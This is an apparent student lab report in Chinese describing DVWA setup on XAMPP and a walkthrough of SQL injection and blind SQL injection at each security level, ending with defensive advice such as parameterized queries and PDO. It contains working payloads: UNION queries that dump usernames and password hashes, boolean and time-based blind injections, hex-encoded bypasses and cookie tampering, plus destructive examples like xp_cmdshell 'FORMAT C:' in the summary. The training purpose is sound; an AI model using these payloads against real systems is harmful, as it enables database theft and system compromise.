(Windows10、XAMPP3.2.2、DVWA)搭建DVWA靶场&SQL注入&SQL盲注入

目录

一、任务内容

二、任务目的

三、参考方法

四、实验过程

4.1 了解SQL注入原理

4.2 Windows搭建dvwa环境

4.3 SQL注入实验过程

4.3.1 Low等级

4.3.2 Medium等级

4.3.3 High等级

4.3.4 Impossible等级

4.4 SQL盲注入实验过程

4.4.1 Low级别

4.4.2 Midium级别

4.4.3 High级别

4.4.4 Impossible级别

五、实验总结

参考链接:


任务1:熟悉SQL注入原理,体验SQL注入过程

一、任务内容

查阅资料了解SQL注入原理与方法,根据自己的实际情况开展不同层次级别的SQL注入过程体验,最低层次级别是基于SQL注入的绕过身份验证(俗称“万能密码”),最高层次级别是获取数据库表中存储的数据或利用SQL注入攻击数据库系统所在主机

二、任务目的

感受SQL注入的危害,体验Web应用安全,思考软件开发过程中如何避免SQL注入漏洞

三、参考方法

搭建简单的Web系统,或基于DVWA、SQLI labs、WebGoat或其它开源平台搭建靶场;手工方式或利用SQL注入工具软件,针对自建Web系统或靶场,实施SQL注入

四、实验过程

4.1 了解SQL注入原理

SQL注入攻击指的是通过构建特殊的输入作为参数传入Web应用程序,而这些输入大都是SQL语法里的一些组合,通过执行SQL语句进而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据侵入系统。

根据相关技术原理,SQL注入可以分为平台层注入和代码层注入。前者由不安全的数据库配置或数据库平台的漏洞所致;后者主要是由于程序员对输入未进行细致地过滤,从而执行了非法的数据查询。基于此,SQL注入的产生原因通常表现在以下几方面:①不当的类型处理;②不安全的数据库配置;③不合理的查询集处理;④不当的错误处理;⑤转义字符处理不合适;⑥多个提交处理不当。

图4.1 SQL注入原理

4.2 Windows搭建dvwa环境

https://www.apachefriends.org/zh_cn/download.html安装xampp,

将从https://github.com/ethicalhack3r/DVWA下载的dvwa压缩包解压,并将DVWA目录拷贝到XAMPP安装目录下的\xampp\htdocs目录下。

在\xampp\htdocs\dvwa\config里面将config.inc.php.dist去掉.dist后缀,修改“xampp\htdocs\dvwa\config\config.inc.php”里面连接MySQL数据库的密码、端口(xampp默认MySQL用户名密码是root/root,默认端口是3306)

启动xampp的Apache和MySQL服务

通过浏览器访问dvwa所在主机访问的地址为http://127.0.0.1/dvwa进入dvwa的web安装界面见下图。

默认用户密码是【admin/password】登录后可见到界面如下图所示,左侧列表列出了dvwa所支持的漏洞种类,共10种,【DVWA Security】中可以设置dvwa的漏洞级别,有【Low、Medium、High、Impossible】四个级别。

4.3 SQL注入实验过程

4.3.1 Low等级

首先将安全等级设置为Low。调整之后进去SQL Injection,开始实验。

1、分析源码

通过源码可以发现红框标注处存在SQL注入点,注入类型是字符型,并且该等级下没有任何防御措施。

2、注入过程

(1)判断是否存在注入点

(2)判断SQL注入的字段数

说明字段数是2。

(3)查看回显位置

我们都知道,select语句在指明要查询的内容属性(如select id)后,要加from指明是从哪个数据库表中获得数据,在数据库环境中我们一般会先写一句use xxxdatabase,之后写select from语句直接加当前数据库中的表名就可以了。如果我们没有声明使用哪个数据库,也可以直接写 select xxxx from security.users(假设要从security数据库的users表中获取数据)。而select直接加数字串时,可以不写后面的表名,那么它输出的内容就是我们select后的数字,这时我们写的一串数字就是一个数组(或1个行向量),这时select实际上没有向任何一个数据库查询数据,即查询命令不指向任何数据库的表。返回值就是我们输入的这个数组,这时它是个1行n列的表,表的属性名和值都是我们输入的数组

(4)查看数据库名

得知数据库名为dvwa

(5)查看数据库中的表名

(6)查看某个数据表的列名

(7)查看数据

(8)md5碰撞

密码都是md5运算过的,以pablo用户为例,在线获得真实密码。

4.3.2 Medium等级

1、分析源代码

通过源代码可以看出,在中等级别时对输入的 $id 值使用 mysql_real_eascape_string() 函数进行了处理。在PHP中,使用 mysql_real_eascape_string() 函数用来转移SQL语句中使用字符串的特殊字符。但是使用这个函数对参数进行转换是存在绕过的。只需要将攻击字转换一下编码格式即可绕过该防护函数。比如URL编码等方式。同时发现SQL语句中变成了
“WHRER user_id = “$id” 
,此处变成了数字型注入,所以此处使用 mysql_real_eascape_string() 函数并没有起到防护作用。可以通过类似于
1 or 1=1
的语句来进行注入。
2、绕过方式
可以通过burpsuite工具抓包来修改请求包
(1)利用Burpsuite工具抓包
很奇怪burpsuite无法抓取ip为127.0.0.1的包,故直接在浏览器访问本机IP地址下的dvwa,可以达到一样的效果。

 

(2)修改数据包,判断是否存在注入点

将数据包发送到repeater,修改后send

(3)判断字段数

可以判断字段数是2

(4)查看数据库名

id=1 union select 1,database() &Submit=Submit

(5)查看数据库中的表名

由于源代码中对特殊字符进行了转义,所以在写数据库名的时候不能用’dvwa’,而应该用函数database()

id=1 union select 1, group_concat(table_name) from information_schema.tables where table_schema=database()# &Submit=Submit

(6)查看数据库中的列名

id=1 union select 1, group_concat(column_name) from information_schema.columns where table_name=0x7573657273# &Submit=Submit

注:users的十六进制的字符串是7573657273

(7)查看数据

id=1 union select user,password from users#&Submit=Submit

4.3.3 High等级

1、分析源代码

从源码可以看出,对用户的输入做了限制,只允许用户输入一个字符。

2、绕过办法

利用#将其注释掉

 

3、注入过程

由于大部分注入过程于前面类似,故不再赘述

4.3.4 Impossible等级

通过查看源码得知,采用PDO操作可以有效的防御SQL注入漏洞。

4.4 SQL盲注入实验过程

SQL Injection(Blind),即SQL盲注,与一般注入的区别在于,一般的注入攻击者可以直接从页面上看到注入语句的执行结果,而盲注时攻击者通常是无法从显示页面上获取执行结果,甚至连注入语句是否执行都无从得知,因此盲注的难度要比一般注入高。目前网络上现存的SQL注入漏洞大多是SQL盲注。

 

4.4.1 Low级别

1、源码分析

可以看到,Low级别的代码对参数id没有做任何检查、过滤,存在明显的SQL注入漏洞,同时SQL语句查询返回的结果只有两种,

User ID exists in the database.

‘与‘

`User ID is MISSING from the database.`

‘,因此这里是SQL盲注漏洞。

2、注入过程

(1)判断是否存在注入,注入是字符型还是数字型

输入1,显示相应用户存在:

输入1' and 1=2 #,显示不存在:

 

输入1' and 1=1 #,显示存在:

说明存在字符型的SQL盲注。

 

(2)猜解当前数据库名

想要猜解数据库名,首先要猜解数据库名的长度,然后挨个猜解字符。

输入1' and length(database())=2 #,显示不存在;

输入1' and length(database())=3 #,显示不存在;

输入1' and length(database())=4 #,显示存在;

说明数据库名长度为4。

下面采用二分法猜解数据库名。

输入1' and ascii(substr(database(),1,1))>97 #,显示存在,说明数据库名的第一个字符的ascii值大于97(小写字母a的ascii值);

输入1' and ascii(substr(database(),1,1))<122 #,显示存在,说明数据库名的第一个字符的ascii值小于122(小写字母z的ascii值);

输入1' and ascii(substr(database(),1,1))<109 #,显示存在,说明数据库名的第一个字符的ascii值小于109(小写字母m的ascii值);

输入1' and ascii(substr(database(),1,1))<103 #,显示存在,说明数据库名的第一个字符的ascii值小于103(小写字母g的ascii值);

输入1' and ascii(substr(database(),1,1))<100 #,显示不存在,说明数据库名的第一个字符的ascii值不小于100(小写字母d的ascii值);

输入1' and ascii(substr(database(),1,1))>100 #,显示不存在,说明数据库名的第一个字符的ascii值不大于100(小写字母d的ascii值);

所以数据库名的第一个字符的ascii值为100,即小写字母d。

……以此类推,最终得到数据库名字是“dvwa”

 

(3)猜解数据库中的表名

首先猜解数据库中表的数量:

1' and (select count(table_name) from information_schema.tables where table_schema=database())=1 # 显示不存在

1' and (select count(table_name) from information_schema.tables where table_schema=database())=2 # 显示存在

说明数据库中共有两个表。

接着挨个猜解表名:

1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=1 # 显示不存在

1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=2 # 显示不存在

1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 # 显示存在

说明第一个表名长度为9

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>97 # 显示存在

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<122 # 显示存在

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<109 # 显示存在

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))<103 # 显示不存在

1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>103 # 显示不存在

说明第一个表的名字的第一个字符为小写字母g。

……重复上述步骤,即可猜解出两个表名(guestbook、users)。

 

(4)猜解表中的字段名

首先猜解表中字段的数量:

1' and (select count(column_name) from information_schema.columns where table_name='users')=1 # 显示不存在

1' and (select count(column_name) from information_schema.columns where table_name='users')=8 # 显示存在

说明users表有8个字段。

接着挨个猜解字段名:

1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=1 # 显示不存在

1' and length(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1))=7 # 显示存在

说明users表的第一个字段为7个字符长度。

采用二分法,即可猜解出所有字段名。

 

(5)猜解数据

同样采用二分法,由于步骤过于繁琐,故略过。

4.4.2 Midium级别

1、源代码分析

可以看到,Medium级别的代码利用mysql_real_escape_string函数对特殊符号

\x00,\n,\r,\,’,”,\x1a进行转义,同时前端页面设置了下拉选择表单,希望以此来控制用户的输入。

2、注入过程

虽然前端使用了下拉选择菜单,但我们依然可以通过burpsuite抓包改参数id,提交恶意构造的查询参数。

首先是基于布尔的盲注:

抓包改参数id为1 and length(database())=4 #,显示存在,说明数据库名的长度为4个字符;

抓包改参数id为1 and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #,显示存在,说明数据中的第一个表名长度为9个字符;

抓包改参数id为1 and (select count(column_name) from information_schema.columns where table_name=0x7573657273)=8 #,(0x7573657273为users的16进制),显示存在,说明uers表有8个字段。

然后是基于时间的盲注:

抓包改参数id为1 and if(length(database())=4,sleep(5),1) #,明显延迟,说明数据库名的长度为4个字符。

抓包改参数id为1 and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9,sleep(5),1) #,明显延迟,说明数据中的第一个表名长度为9个字符。等了5s才出现如下界面:

抓包改参数id为1 and if((select count(column_name) from information_schema.columns where table_name=0×7573657273 )=8,sleep(5),1) #,明显延迟,说明uers表有8个字段。

后续步骤由于步骤太过繁琐,且原理没有什么大的变动,在此也略过。

4.4.3 High级别

可以看到,High级别的代码利用cookie传递参数id,当SQL查询结果为空时,会执行函数sleep(seconds),目的是为了扰乱基于时间的盲注。同时在 SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果。

虽然添加了LIMIT 1,但是我们可以通过#将其注释掉。但由于服务器端执行sleep函数,会使得基于时间盲注的准确性受到影响,这里我们只展示基于布尔的盲注:

抓包将cookie中参数id改为1' and length(database())=4 #,显示存在,说明数据库名的长度为4个字符;

抓包将cookie中参数id改为1' and length(substr(( select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9 #,显示存在,说明数据中的第一个表名长度为9个字符;

抓包将cookie中参数id改为1' and (select count(column_name) from information_schema.columns where table_name=0x7573657273)=8 #,(0x7573657273 为users的16进制),显示存在,说明uers表有8个字段。

后续步骤由于步骤太过繁琐,且原理没有什么大的变动,在此也略过。

4.4.4 Impossible级别

可以看到,Impossible级别的代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入,Anti-CSRF token机制的加入了进一步提高了安全性。

五、实验总结

SQL注入可能造成巨大的危害:数据表中的数据外泄,例如企业及个人机密数据,账户数据,密码等。数据结构被黑客探知,得以做进一步攻击(例如SELECT * FROM sys.tables)。数据库服务器被攻击,系统管理员账户被窜改(例如ALTER LOGIN sa WITH PASSWORD='xxxxxx')。获取系统较高权限后,有可能得以在网页加入恶意链接、恶意代码以及Phishing等。经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统(例如xp_cmdshell "net stop iisadmin"可停止服务器的IIS服务)。黑客经由上传php简单的指令至对方之主机内,PHP之强大系统命令,可以让黑客进行全面控制系统(例如:php一句话木马)。破坏硬盘数据,瘫痪全系统(例如xp_cmdshell "FORMAT C:")。获取系统最高权限后,可针对企业内部的任一管理系统做大规模破坏,甚至让其企业倒闭。企业网站主页被窜改,门面尽失。

我们在开发时应注意:在设计应用程序时,完全使用参数化查询(Parameterized Query)来设计数据访问功能。在组合SQL字符串时,先针对所传入的参数加入其他字符(将单引号字符前加上转义字符)。如果使用PHP开发网页程序的话,需加入转义字符之功能(自动将所有的网页传入参数,将单引号字符前加上转义字符)。使用php开发,可写入html特殊函数,可正确阻挡XSS攻击。使用其他更安全的方式连接SQL数据库。例如已修正过SQL注入问题的数据库连接组件,例如ASP.NET的SqlDataSource对象或是 LINQ to SQL。使用SQL防注入系统。增强WAF(也称为:网站应用级入侵防御系统。英文:Web Application Firewall)的防御力

参考链接:

https://www.jianshu.com/p/bd3238d5f012

https://juejin.im/post/5d56b641f265da03f12e565c

https://www.jianshu.com/p/078df7a35671

https://zhuanlan.zhihu.com/p/35775773

https://zhuanlan.zhihu.com/p/66926867

https://blog.csdn.net/keylion_/article/details/80318594

https://blog.csdn.net/weixin_44840696/article/details/89166154

https://blog.csdn.net/allen__0/article/details/103956777

https://zhuanlan.zhihu.com/p/25111306

https://zh.wikipedia.org/wiki/SQL%E6%B3%A8%E5%85%A5

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值